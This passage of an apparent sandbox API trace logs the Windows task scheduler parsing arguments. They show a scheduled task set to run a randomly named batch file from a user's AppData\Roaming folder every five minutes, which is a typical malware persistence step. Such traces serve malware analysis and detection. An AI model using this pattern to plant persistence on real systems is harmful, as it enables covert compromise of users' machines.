(lpString="|run|") returned 5 [0086.089] lstrlenW (lpString="|tr|") returned 4 [0086.089] StrStrIW (lpFirst="|run|", lpSrch="|tr|") returned 0x0 [0086.089] SetLastError (dwErrCode=0x490) [0086.089] lstrlenW (lpString="end") returned 3 [0086.089] lstrlenW (lpString="end") returned 3 [0086.089] _memicmp (_Buf1=0x744dc8, _Buf2=0x521ed8, _Size=0x7) returned 0 [0086.089] lstrlenW (lpString="tr") returned 2 [0086.089] _memicmp (_Buf1=0x744df8, _Buf2=0x521ed8, _Size=0x7) returned 0 [0086.089] _vsnwprintf (in: _Buffer=0x745450, _BufferCount=0x6, _Format="|%s|", _ArgList=0x27f648 | out: _Buffer="|end|") returned 5 [0086.089] _vsnwprintf (in: _Buffer=0x745410, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27f648 | out: _Buffer="|tr|") returned 4 [0086.089] lstrlenW (lpString="|end|") returned 5 [0086.089] lstrlenW (lpString="|tr|") returned 4 [0086.090] StrStrIW (lpFirst="|end|", lpSrch="|tr|") returned 0x0 [0086.090] SetLastError (dwErrCode=0x490) [0086.090] lstrlenW (lpString="showsid") returned 7 [0086.090] lstrlenW (lpString="showsid") returned 7 [0086.090] _memicmp (_Buf1=0x744dc8, _Buf2=0x521ed8, _Size=0x7) returned 0 [0086.090] lstrlenW (lpString="tr") returned 2 [0086.090] _memicmp (_Buf1=0x744df8, _Buf2=0x521ed8, _Size=0x7) returned 0 [0086.090] _vsnwprintf (in: _Buffer=0x745450, _BufferCount=0xa, _Format="|%s|", _ArgList=0x27f648 | out: _Buffer="|showsid|") returned 9 [0086.090] _vsnwprintf (in: _Buffer=0x745410, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27f648 | out: _Buffer="|tr|") returned 4 [0086.090] lstrlenW (lpString="|showsid|") returned 9 [0086.090] lstrlenW (lpString="|tr|") returned 4 [0086.090] StrStrIW (lpFirst="|showsid|", lpSrch="|tr|") returned 0x0 [0086.090] SetLastError (dwErrCode=0x490) [0086.090] SetLastError (dwErrCode=0x490) [0086.090] SetLastError (dwErrCode=0x0) [0086.090] lstrlenW (lpString="/tr") returned 3 [0086.090] StrChrIW (lpStart="/tr", wMatch=0x3a) returned 0x0 [0086.090] SetLastError (dwErrCode=0x490) [0086.090] SetLastError (dwErrCode=0x0) [0086.090] lstrlenW (lpString="/tr") returned 3 [0086.090] GetProcessHeap () returned 0x730000 [0086.090] RtlAllocateHeap (HeapHandle=0x730000, Flags=0xc, Size=0x8) returned 0x746a60 [0086.090] GetProcessHeap () returned 0x730000 [0086.090] RtlAllocateHeap (HeapHandle=0x730000, Flags=0xc, Size=0x14) returned 0x745490 [0086.090] SetLastError (dwErrCode=0x0) [0086.090] SetLastError (dwErrCode=0x0) [0086.090] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\YW0T0jSM.bat") returned 58 [0086.090] lstrlenW (lpString="-/") returned 2 [0086.090] StrChrIW (lpStart="-/", wMatch=0x43) returned 0x0 [0086.090] SetLastError (dwErrCode=0x490) [0086.090] SetLastError (dwErrCode=0x490) [0086.090] SetLastError (dwErrCode=0x0) [0086.090] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\YW0T0jSM.bat") returned 58 [0086.090] StrChrIW (lpStart="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\YW0T0jSM.bat", wMatch=0x3a) returned=":\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\YW0T0jSM.bat" [0086.090] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\YW0T0jSM.bat") returned 58 [0086.090] GetProcessHeap () returned 0x730000 [0086.090] RtlAllocateHeap (HeapHandle=0x730000, Flags=0xc, Size=0x10) returned 0x744e10 [0086.090] _memicmp (_Buf1=0x744e10, _Buf2=0x521ed8, _Size=0x7) returned 0 [0086.090] GetProcessHeap () returned 0x730000 [0086.090] RtlAllocateHeap (HeapHandle=0x730000, Flags=0xc, Size=0xc) returned 0x744e28 [0086.090] GetProcessHeap () returned 0x730000 [0086.091] RtlAllocateHeap (HeapHandle=0x730000, Flags=0xc, Size=0x10) returned 0x744e40 [0086.091] _memicmp (_Buf1=0x744e40, _Buf2=0x521ed8, _Size=0x7) returned 0 [0086.091] GetProcessHeap () returned 0x730000 [0086.091] RtlAllocateHeap (HeapHandle=0x730000, Flags=0xc, Size=0x7a) returned 0x746a70 [0086.091] SetLastError (dwErrCode=0x7a) [0086.091] SetLastError (dwErrCode=0x0) [0086.091] SetLastError (dwErrCode=0x0) [0086.091] lstrlenW (lpString="C") returned 1 [0086.091] SetLastError (dwErrCode=0x490) [0086.091] SetLastError (dwErrCode=0x0) [0086.091] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\YW0T0jSM.bat") returned 58 [0086.091] GetProcessHeap () returned 0x730000 [0086.091] RtlAllocateHeap (HeapHandle=0x730000, Flags=0xc, Size=0x76) returned 0x73f830 [0086.091] GetProcessHeap () returned 0x730000 [0086.091] RtlAllocateHeap (HeapHandle=0x730000, Flags=0xc, Size=0x14) returned 0x7454b0 [0086.091] SetLastError (dwErrCode=0x0) [0086.091] SetLastError (dwErrCode=0x0) [0086.091] lstrlenW (lpString="/sc") returned 3 [0086.091] lstrlenW (lpString="-/") returned 2 [0086.091] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0086.091] lstrlenW (lpString="?") returned 1 [0086.091] lstrlenW (lpString="?") returned 1 [0086.091] _memicmp (_Buf1=0x744dc8, _Buf2=0x521ed8, _Size=0x7) returned 0 [0086.091] lstrlenW (lpString="sc") returned 2 [0086.091] _memicmp (_Buf1=0x744df8, _Buf2=0x521ed8, _Size=0x7) returned 0 [0086.091] _vsnwprintf (in: _Buffer=0x745450, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27f648 | out: _Buffer="|?|") returned 3 [0086.091] _vsnwprintf (in: _Buffer=0x745410, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27f648 | out: _Buffer="|sc|") returned 4 [0086.091] lstrlenW (lpString="|?|") returned 3 [0086.091] lstrlenW (lpString="|sc|") returned 4 [0086.091] SetLastError (dwErrCode=0x490) [0086.091] lstrlenW (lpString="create") returned 6 [0086.091] lstrlenW (lpString="create") returned 6 [0086.091] _memicmp (_Buf1=0x744dc8, _Buf2=0x521ed8, _Size=0x7) returned 0 [0086.091] lstrlenW (lpString="sc") returned 2 [0086.091] _memicmp (_Buf1=0x744df8, _Buf2=0x521ed8, _Size=0x7) returned 0 [0086.091] _vsnwprintf (in: _Buffer=0x745450, _BufferCount=0x9, _Format="|%s|", _ArgList=0x27f648 | out: _Buffer="|create|") returned 8 [0086.091] _vsnwprintf (in: _Buffer=0x745410, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27f648 | out: _Buffer="|sc|") returned 4 [0086.091] lstrlenW (lpString="|create|") returned 8 [0086.092] lstrlenW (lpString="|sc|") returned 4 [0086.092] StrStrIW (lpFirst="|create|", lpSrch="|sc|") returned 0x0 [0086.092] SetLastError (dwErrCode=0x490) [0086.092] lstrlenW (lpString="delete") returned 6 [0086.092] lstrlenW (lpString="delete") returned 6 [0086.092] _memicmp (_Buf1=0x744dc8, _Buf2=0x521ed8, _Size=0x7) returned 0 [0086.092] lstrlenW (lpString="sc") returned 2 [0086.092] _memicmp (_Buf1=0x744df8, _Buf2=0x521ed8, _Size=0x7) returned 0 [0086.092] _vsnwprintf (in: _Buffer=0x745450, _BufferCount=0x9, _Format="|%s|", _ArgList=0x27f648 | out: _Buffer="|delete|") returned 8 [0086.092] _vsnwprintf (in: _Buffer=0x745410, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27f648 | out: _Buffer="|sc|") returned 4 [0086.092] lstrlenW (lpString="|delete|") returned 8 [0086.092] lstrlenW (lpString="|sc|") returned 4 [0086.092] StrStrIW (lpFirst="|delete|", lpSrch="|sc|") returned 0x0 [0086.092] SetLastError (dwErrCode=0x490) [0086.092] lstrlenW (lpString="query") returned 5 [0086.092] lstrlenW (lpString="query") returned 5 [0086.092] _memicmp (_Buf1=0x744dc8, _Buf2=0x521ed8, _Size=0x7) returned 0 [0086.092] lstrlenW (lpString="sc") returned 2 [0086.092] _memicmp (_Buf1=0x744df8, _Buf2=0x521ed8, _Size=0x7) returned 0 [0086.092] _vsnwprintf (in: _Buffer=0x745450, _BufferCount=0x8, _Format="|%s|", _ArgList=0x27f648 | out: _Buffer="|query|") returned 7 [0086.092] _vsnwprintf (in: _Buffer=0x745410, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27f648 | out: _Buffer="|sc|") returned 4 [0086.092] lstrlenW (lpString="|query|") returned 7 [0086.092] lstrlenW (lpString="|sc|") returned 4 [0086.092] StrStrIW (lpFirst="|query|", lpSrch="|sc|") returned 0x0 [0086.092] SetLastError (dwErrCode=0x490) [0086.092] lstrlenW (lpString="change") returned 6 [0086.092] lstrlenW (lpString="change") returned 6 [0086.092] _memicmp (_Buf1=0x744dc8, _Buf2=0x521ed8, _Size=0x7) returned 0 [0086.092] lstrlenW (lpString="sc") returned 2 [0086.092] _memicmp (_Buf1=0x744df8, _Buf2=0x521ed8, _Size=0x7) returned 0 [0086.092] _vsnwprintf (in: _Buffer=0x745450, _BufferCount=0x9, _Format="|%s|", _ArgList=0x27f648 | out: _Buffer="|change|") returned 8 [0086.092] _vsnwprintf (in: _Buffer=0x745410, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27f648 | out: _Buffer="|sc|") returned 4 [0086.092] lstrlenW (lpString="|change|") returned 8 [0086.092] lstrlenW (lpString="|sc|") returned 4 [0086.092] StrStrIW (lpFirst="|change|", lpSrch="|sc|") returned 0x0 [0086.092] SetLastError (dwErrCode=0x490) [0086.092] lstrlenW (lpString="run") returned 3 [0086.093] lstrlenW (lpString="run") returned 3 [0086.093] _memicmp (_Buf1=0x744dc8, _Buf2=0x521ed8, _Size=0x7) returned 0 [0086.093] lstrlenW (lpString="sc") returned 2 [0086.093] _memicmp (_Buf1=0x744df8, _Buf2=0x521ed8, _Size=0x7) returned 0 [0086.093] _vsnwprintf (in: _Buffer=0x745450, _BufferCount=0x6, _Format="|%s|", _ArgList=0x27f648 | out: _Buffer="|run|") returned 5 [0086.093] _vsnwprintf (in: _Buffer=0x745410, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27f648 | out: _Buffer="|sc|") returned 4 [0086.093] lstrlenW (lpString="|run|") returned 5 [0086.093] lstrlenW (lpString="|sc|") returned 4 [0086.093] StrStrIW (lpFirst="|run|", lpSrch="|sc|") returned 0x0 [0086.093] SetLastError (dwErrCode=0x490) [0086.093] lstrlenW (lpString="end") returned 3 [0086.093] lstrlenW (lpString="end") returned 3 [0086.093] _memicmp (_Buf1=0x744dc8, _Buf2=0x521ed8, _Size=0x7) returned 0 [0086.093] lstrlenW (lpString="sc") returned 2 [0086.093] _memicmp (_Buf1=0x744df8, _Buf2=0x521ed8, _Size=0x7) returned 0 [0086.093] _vsnwprintf (in: _Buffer=0x745450, _BufferCount=0x6, _Format="|%s|", _ArgList=0x27f648 | out: _Buffer="|end|") returned 5 [0086.093] _vsnwprintf (in: _Buffer=0x745410, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27f648 | out: _Buffer="|sc|") returned 4 [0086.093] lstrlenW (lpString="|end|") returned 5 [0086.093] lstrlenW (lpString="|sc|") returned 4 [0086.093] StrStrIW (lpFirst="|end|", lpSrch="|sc|") returned 0x0 [0086.093] SetLastError (dwErrCode=0x490) [0086.093] lstrlenW (lpString="showsid") returned 7 [0086.093] lstrlenW (lpString="showsid") returned 7 [0086.093] _memicmp (_Buf1=0x744dc8, _Buf2=0x521ed8, _Size=0x7) returned 0 [0086.093] lstrlenW (lpString="sc") returned 2 [0086.093] _memicmp (_Buf1=0x744df8, _Buf2=0x521ed8, _Size=0x7) returned 0 [0086.093] _vsnwprintf (in: _Buffer=0x745450, _BufferCount=0xa, _Format="|%s|", _ArgList=0x27f648 | out: _Buffer="|showsid|") returned 9 [0086.093] _vsnwprintf (in: _Buffer=0x745410, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27f648 | out: _Buffer="|sc|") returned 4 [0086.093] lstrlenW (lpString="|showsid|") returned 9 [0086.093] lstrlenW (lpString="|sc|") returned 4 [0086.093] StrStrIW (lpFirst="|showsid|", lpSrch="|sc|") returned 0x0 [0086.093] SetLastError (dwErrCode=0x490) [0086.093] SetLastError (dwErrCode=0x490) [0086.093] SetLastError (dwErrCode=0x0) [0086.093] lstrlenW (lpString="/sc") returned 3 [0086.094] StrChrIW (lpStart="/sc", wMatch=0x3a) returned 0x0 [0086.094] SetLastError (dwErrCode=0x490) [0086.094] SetLastError (dwErrCode=0x0) [0086.094] lstrlenW (lpString="/sc") returned 3 [0086.094] GetProcessHeap () returned 0x730000 [0086.094] RtlAllocateHeap (HeapHandle=0x730000, Flags=0xc, Size=0x8) returned 0x746af8 [0086.094] GetProcessHeap () returned 0x730000 [0086.094] RtlAllocateHeap (HeapHandle=0x730000, Flags=0xc, Size=0x14) returned 0x7454d0 [0086.094] SetLastError (dwErrCode=0x0) [0086.094] SetLastError (dwErrCode=0x0) [0086.094] lstrlenW (lpString="minute") returned 6 [0086.094] lstrlenW (lpString="-/") returned 2 [0086.094] StrChrIW (lpStart="-/", wMatch=0x6d) returned 0x0 [0086.094] SetLastError (dwErrCode=0x490) [0086.094] SetLastError (dwErrCode=0x490) [0086.094] SetLastError (dwErrCode=0x0) [0086.094] lstrlenW (lpString="minute") returned 6 [0086.094] StrChrIW (lpStart="minute", wMatch=0x3a) returned 0x0 [0086.094] SetLastError (dwErrCode=0x490) [0086.094] SetLastError (dwErrCode=0x0) [0086.094] lstrlenW (lpString="minute") returned 6 [0086.094] GetProcessHeap () returned 0x730000 [0086.094] RtlAllocateHeap (HeapHandle=0x730000, Flags=0xc, Size=0xe) returned 0x744e58 [0086.094] GetProcessHeap () returned 0x730000 [0086.094] RtlAllocateHeap (HeapHandle=0x730000, Flags=0xc, Size=0x14) returned 0x7454f0 [0086.094] SetLastError (dwErrCode=0x0) [0086.094] SetLastError (dwErrCode=0x0) [0086.094] lstrlenW (lpString="/mo") returned 3 [0086.094] lstrlenW (lpString="-/") returned 2 [0086.094] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0086.094] lstrlenW (lpString="?") returned 1 [0086.094] lstrlenW (lpString="?") returned 1 [0086.094] _memicmp (_Buf1=0x744dc8, _Buf2=0x521ed8, _Size=0x7) returned 0 [0086.094] lstrlenW (lpString="mo") returned 2 [0086.094] _memicmp (_Buf1=0x744df8, _Buf2=0x521ed8, _Size=0x7) returned 0 [0086.094] _vsnwprintf (in: _Buffer=0x745450, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27f648 | out: _Buffer="|?|") returned 3 [0086.094] _vsnwprintf (in: _Buffer=0x745410, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27f648 | out: _Buffer="|mo|") returned 4 [0086.094] lstrlenW (lpString="|?|") returned 3 [0086.094] lstrlenW (lpString="|mo|") returned 4 [0086.094] SetLastError (dwErrCode=0x490) [0086.094] lstrlenW (lpString="create") returned 6 [0086.095] lstrlenW (lpString="create") returned 6 [0086.095] _memicmp (_Buf1=0x744dc8, _Buf2=0x521ed8, _Size=0x7) returned 0 [0086.095] lstrlenW (lpString="mo") returned 2 [0086.095] _memicmp (_Buf1=0x744df8, _Buf2=0x521ed8, _Size=0x7) returned 0 [0086.095] _vsnwprintf (in: _Buffer=0x745450, _BufferCount=0x9, _Format="|%s|", _ArgList=0x27f648 | out: _Buffer="|create|") returned 8 [0086.095] _vsnwprintf (in: _Buffer=0x745410, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27f648 | out: _Buffer="|mo|") returned 4 [0086.095] lstrlenW (lpString="|create|") returned 8 [0086.095] lstrlenW (lpString="|mo|") returned 4 [0086.095] StrStrIW (lpFirst="|create|", lpSrch="|mo|") returned 0x0 [0086.095] SetLastError (dwErrCode=0x490) [0086.095] lstrlenW (lpString="delete") returned 6 [0086.095] lstrlenW (lpString="delete") returned 6 [0086.095] _memicmp (_Buf1=0x744dc8, _Buf2=0x521ed8, _Size=0x7) returned 0 [0086.095] lstrlenW (lpString="mo") returned 2 [0086.095] _memicmp (_Buf1=0x744df8, _Buf2=0x521ed8, _Size=0x7) returned 0 [0086.095] _vsnwprintf (in: _Buffer=0x745450, _BufferCount=0x9, _Format="|%s|", _ArgList=0x27f648 | out: _Buffer="|delete|") returned 8 [0086.095] _vsnwprintf (in: _Buffer=0x745410, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27f648 | out: _Buffer="|mo|") returned 4 [0086.095] lstrlenW (lpString="|delete|") returned 8 [0086.095] lstrlenW (lpString="|mo|") returned 4 [0086.095] StrStrIW (lpFirst="|delete|", lpSrch="|mo|") returned 0x0 [0086.095] SetLastError (dwErrCode=0x490) [0086.095] lstrlenW (lpString="query") returned 5 [0086.095] lstrlenW (lpString="query") returned 5 [0086.095] _memicmp (_Buf1=0x744dc8, _Buf2=0x521ed8, _Size=0x7) returned 0 [0086.095] lstrlenW (lpString="mo") returned 2 [0086.095] _memicmp (_Buf1=0x744df8, _Buf2=0x521ed8, _Size=0x7) returned 0 [0086.095] _vsnwprintf (in: _Buffer=0x745450, _BufferCount=0x8, _Format="|%s|", _ArgList=0x27f648 | out: _Buffer="|query|") returned 7 [0086.095] _vsnwprintf (in: _Buffer=0x745410, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27f648 | out: _Buffer="|mo|") returned 4 [0086.095] lstrlenW (lpString="|query|") returned 7 [0086.095] lstrlenW (lpString="|mo|") returned 4 [0086.095] StrStrIW (lpFirst="|query|", lpSrch="|mo|") returned 0x0 [0086.095] SetLastError (dwErrCode=0x490) [0086.095] lstrlenW (lpString="change") returned 6 [0086.095] lstrlenW (lpString="change") returned 6 [0086.095] _memicmp (_Buf1=0x744dc8, _Buf2=0x521ed8, _Size=0x7) returned 0 [0086.096] lstrlenW (lpString="mo") returned 2 [0086.096] _memicmp (_Buf1=0x744df8, _Buf2=0x521ed8, _Size=0x7) returned 0 [0086.096] _vsnwprintf (in: _Buffer=0x745450, _BufferCount=0x9, _Format="|%s|", _ArgList=0x27f648 | out: _Buffer="|change|") returned 8 [0086.096] _vsnwprintf (in: _Buffer=0x745410, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27f648 | out: _Buffer="|mo|") returned 4 [0086.096] lstrlenW (lpString="|change|") returned 8 [0086.096] lstrlenW (lpString="|mo|") returned 4 [0086.096] StrStrIW (lpFirst="|change|", lpSrch="|mo|") returned 0x0 [0086.096] SetLastError (dwErrCode=0x490) [0086.096] lstrlenW (lpString="run") returned 3 [0086.096] lstrlenW (lpString="run") returned 3 [0086.096] _memicmp (_Buf1=0x744dc8, _Buf2=0x521ed8, _Size=0x7) returned 0 [0086.096] lstrlenW (lpString="mo") returned 2 [0086.096] _memicmp (_Buf1=0x744df8, _Buf2=0x521ed8, _Size=0x7) returned 0 [0086.096] _vsnwprintf (in: _Buffer=0x745450, _BufferCount=0x6, _Format="|%s|", _ArgList=0x27f648 | out: _Buffer="|run|") returned 5 [0086.096] _vsnwprintf (in: _Buffer=0x745410, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27f648 | out: _Buffer="|mo|") returned 4 [0086.096] lstrlenW (lpString="|run|") returned 5 [0086.096] lstrlenW (lpString="|mo|") returned 4 [0086.096] StrStrIW (lpFirst="|run|", lpSrch="|mo|") returned 0x0 [0086.096] SetLastError (dwErrCode=0x490) [0086.096] lstrlenW (lpString="end") returned 3 [0086.096] lstrlenW (lpString="end") returned 3 [0086.096] _memicmp (_Buf1=0x744dc8, _Buf2=0x521ed8, _Size=0x7) returned 0 [0086.096] lstrlenW (lpString="mo") returned 2 [0086.096] _memicmp (_Buf1=0x744df8, _Buf2=0x521ed8, _Size=0x7) returned 0 [0086.096] _vsnwprintf (in: _Buffer=0x745450, _BufferCount=0x6, _Format="|%s|", _ArgList=0x27f648 | out: _Buffer="|end|") returned 5 [0086.096] _vsnwprintf (in: _Buffer=0x745410, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27f648 | out: _Buffer="|mo|") returned 4 [0086.096] lstrlenW (lpString="|end|") returned 5 [0086.096] lstrlenW (lpString="|mo|") returned 4 [0086.096] StrStrIW (lpFirst="|end|", lpSrch="|mo|") returned 0x0 [0086.096] SetLastError (dwErrCode=0x490) [0086.096] lstrlenW (lpString="showsid") returned 7 [0086.096] lstrlenW (lpString="showsid") returned 7 [0086.096] _memicmp (_Buf1=0x744dc8, _Buf2=0x521ed8, _Size=0x7) returned 0 [0086.096] lstrlenW (lpString="mo") returned 2 [0086.096] _memicmp (_Buf1=0x744df8, _Buf2=0x521ed8, _Size=0x7) returned 0 [0086.097] _vsnwprintf (in: _Buffer=0x745450, _BufferCount=0xa, _Format="|%s|", _ArgList=0x27f648 | out: _Buffer="|showsid|") returned 9 [0086.097] _vsnwprintf (in: _Buffer=0x745410, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27f648 | out: _Buffer="|mo|") returned 4 [0086.097] lstrlenW (lpString="|showsid|") returned 9 [0086.097] lstrlenW (lpString="|mo|") returned 4 [0086.106] StrStrIW (lpFirst="|showsid|", lpSrch="|mo|") returned 0x0 [0086.106] SetLastError (dwErrCode=0x490) [0086.106] SetLastError (dwErrCode=0x490) [0086.106] SetLastError (dwErrCode=0x0) [0086.106] lstrlenW (lpString="/mo") returned 3 [0086.106] StrChrIW (lpStart="/mo", wMatch=0x3a) returned 0x0 [0086.106] SetLastError (dwErrCode=0x490) [0086.106] SetLastError (dwErrCode=0x0) [0086.106] lstrlenW (lpString="/mo") returned 3 [0086.106] GetProcessHeap () returned 0x730000 [0086.107] RtlAllocateHeap (HeapHandle=0x730000, Flags=0xc, Size=0x8) returned 0x746b08 [0086.107] GetProcessHeap () returned 0x730000 [0086.107] RtlAllocateHeap (HeapHandle=0x730000, Flags=0xc, Size=0x14) returned 0x745510 [0086.107] SetLastError (dwErrCode=0x0) [0086.107] SetLastError (dwErrCode=0x0) [0086.107] lstrlenW (lpString="5") returned 1 [0086.107] SetLastError (dwErrCode=0x490) [0086.107] SetLastError (dwErrCode=0x0) [0086.107] lstrlenW (lpString="5") returned 1 [0086.107] StrChrIW (lpStart="5", wMatch=0x3a) returned 0x0 [0086.107] SetLastError (dwErrCode=0x490) [0086.107] SetLastError (dwErrCode=0x0) [0086.107] lstrlenW (lpString="5") returned 1 [0086.107] GetProcessHeap () returned 0x730000 [0086.107] RtlAllocateHeap (HeapHandle=0x730000, Flags=0xc, Size=0x4) returned 0x746b18 [0086.107] GetProcessHeap () returned 0x730000 [0086.107] RtlAllocateHeap (HeapHandle=0x730000, Flags=0xc, Size=0x14) returned 0x745530 [0086.107] SetLastError (dwErrCode=0x0) [0086.107] SetLastError (dwErrCode=0x0) [0086.107] lstrlenW (lpString="/RL") returned 3 [0086.107] lstrlenW (lpString="-/") returned 2 [0086.107] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0086.107] lstrlenW (lpString="?") returned 1 [0086.107] lstrlenW (lpString="?") returned 1 [0086.107] _memicmp (_Buf1=0x744dc8, _Buf2=0x521ed8, _Size=0x7) returned 0 [0086.107] lstrlenW (lpString="RL") returned 2 [0086.107] _memicmp (_Buf1=0x744df8, _Buf2=0x521ed8, _Size=0x7) returned 0 [0086.107] _vsnwprintf (in: _Buffer=0x745450, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27f648 | out: _Buffer="|?|") returned 3 [0086.107] _vsnwprintf (in: _Buffer=0x745410, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27f648 | out: _Buffer="|RL|") returned 4 [0086.107] lstrlenW (lpString="|?|") returned 3 [0086.107] lstrlenW (lpString="|RL|") returned 4 [0086.107] SetLastError (dwErrCode=0x490) [0086.107] lstrlenW (lpString="create") returned 6 [0086.107] lstrlenW (lpString="create") returned 6 [0086.107] _memicmp (_Buf1=0x744dc8, _Buf2=0x521ed8, _Size=0x7) returned 0 [0086.107] lstrlenW (lpString="RL") returned 2 [0086.107] _memicmp (_Buf1=0x744df8, _Buf2=0x521ed8, _Size=0x7) returned 0 [0086.107] _vsnwprintf (in: _Buffer=0x745450, _BufferCount=0x9, _Format="|%s|", _ArgList=0x27f648 | out: _Buffer="|create|") returned 8 [0086.108] _vsnwprintf (in: _Buffer=0x745410, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27f648 | out: _Buffer="|RL|") returned 4 [0086.108] lstrlenW (lpString="|create|") returned 8 [0086.108] lstrlenW (lpString="|RL|") returned 4 [0086.108] StrStrIW (lpFirst="|create|", lpSrch="|RL|") returned 0x0 [0086.108] SetLastError (dwErrCode=0x490) [0086.108] lstrlenW (lpString="delete") returned 6 [0086.108] lstrlenW (lpString="delete") returned 6 [0086.108] _memicmp (_Buf1=0x744dc8, _Buf2=0x521ed8, _Size=0x7) returned 0 [0086.108] lstrlenW (lpString="RL") returned 2 [0086.108] _memicmp (_Buf1=0x744df8, _Buf2=0x521ed8, _Size=0x7) returned 0 [0086.108] _vsnwprintf (in: _Buffer=0x745450, _BufferCount=0x9, _Format="|%s|", _ArgList=0x27f648 | out: _Buffer="|delete|") returned 8 [0086.108] _vsnwprintf (in: _Buffer=0x745410, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27f648 | out: _Buffer="|RL|") returned 4 [0086.108] lstrlenW (lpString="|delete|") returned 8 [0086.108] lstrlenW (lpString="|RL|") returned 4 [0086.108] StrStrIW (lpFirst="|delete|", lpSrch="|RL|") returned 0x0 [0086.108] SetLastError (dwErrCode=0x490) [0086.108] lstrlenW (lpString="query") returned 5 [0086.108] lstrlenW (lpString="query") returned 5 [0086.108] _memicmp (_Buf1=0x744dc8, _Buf2=0x521ed8, _Size=0x7) returned 0 [0086.108] lstrlenW (lpString="RL") returned 2 [0086.108] _memicmp (_Buf1=0x744df8, _Buf2=0x521ed8, _Size=0x7) returned 0 [0086.108] _vsnwprintf (in: _Buffer=0x745450, _BufferCount=0x8, _Format="|%s|", _ArgList=0x27f648 | out: _Buffer="|query|") returned 7 [0086.108] _vsnwprintf (in: _Buffer=0x745410, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27f648 | out: _Buffer="|RL|") returned 4 [0086.108] lstrlenW (lpString="|query|") returned 7 [0086.108] lstrlenW (lpString="|RL|") returned 4 [0086.108] StrStrIW (lpFirst="|query|", lpSrch="|RL|") returned 0x0 [0086.108] SetLastError (dwErrCode=0x490) [0086.108] lstrlenW (lpString="change") returned 6 [0086.108] lstrlenW (lpString="change") returned 6 [0086.108] _memicmp (_Buf1=0x744dc8, _Buf2=0x521ed8, _Size=0x7) returned 0 [0086.108] lstrlenW (lpString="RL") returned 2 [0086.108] _memicmp (_Buf1=0x744df8, _Buf2=0x521ed8, _Size=0x7) returned 0 [0086.108] _vsnwprintf (in: _Buffer=0x745450, _BufferCount=0x9, _Format="|%s|", _ArgList=0x27f648 | out: _Buffer="|change|") returned 8 [0086.108] _vsnwprintf (in: _Buffer=0x745410, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27f648 | out: _Buffer="|RL|") returned 4 [0086.109] lstrlenW (lpString="|change|") returned 8 [0086.109] lstrlenW (lpString="|RL|") returned 4 [0086.109] StrStrIW (lpFirst="|change|", lpSrch="|RL|") returned 0x0 [0086.109] SetLastError (dwErrCode=0x490) [0086.109] lstrlenW (lpString="run") returned 3 [0086.109] lstrlenW (lpString="run") returned 3 [0086.109] _memicmp (_Buf1=0x744dc8, _Buf2=0x521ed8, _Size=0x7) returned 0 [0086.109] lstrlenW (lpString="RL") returned 2 [0086.109] _memicmp (_Buf1=0x744df8, _Buf2=0x521ed8, _Size=0x7) returned 0 [0086.109] _vsnwprintf (in: _Buffer=0x745450, _BufferCount=0x6, _Format="|%s|", _ArgList=0x27f648 | out: _Buffer="|run|") returned 5 [0086.109] _vsnwprintf (in: _Buffer=0x745410, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27f648 | out: _Buffer="|RL|") returned 4 [0086.109] lstrlenW (lpString="|run|") returned 5 [0086.109] lstrlenW (lpString="|RL|") returned 4 [0086.109] StrStrIW (lpFirst="|run|", lpSrch="|RL|") returned 0x0 [0086.109] SetLastError (dwErrCode=0x490) [0086.109] lstrlenW (lpString="end") returned 3 [0086.109] lstrlenW (lpString="end") returned 3 [0086.109] _memicmp (_Buf1=0x744dc8, _Buf2=0x521ed8, _Size=0x7) returned 0 [0086.109] lstrlenW (lpString="RL") returned 2 [0086.109] _memicmp (_Buf1=0x744df8, _Buf2=0x521ed8, _Size=0x7) returned 0 [0086.109] _vsnwprintf (in: _Buffer=0x745450, _BufferCount=0x6, _Format="|%s|", _ArgList=0x27f648 | out: _Buffer="|end|") returned 5 [0086.109] _vsnwprintf (in: _Buffer=0x745410, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27f648 | out: _Buffer="|RL|") returned 4 [0086.109] lstrlenW (lpString="|end|") returned 5 [0086.109] lstrlenW (lpString="|RL|") returned 4 [0086.109] StrStrIW (lpFirst="|end|", lpSrch="|RL|") returned 0x0 [0086.109] SetLastError (dwErrCode=0x490) [0086.109] lstrlenW (lpString="showsid") returned 7 [0086.109] lstrlenW (lpString="showsid") returned 7 [0086.109] _memicmp (_Buf1=0x744dc8, _Buf2=0x521ed8, _Size=0x7) returned 0 [0086.109] lstrlenW (lpString="RL") returned 2 [0086.109] _memicmp (_Buf1=0x744df8, _Buf2=0x521ed8, _Size=0x7) returned 0 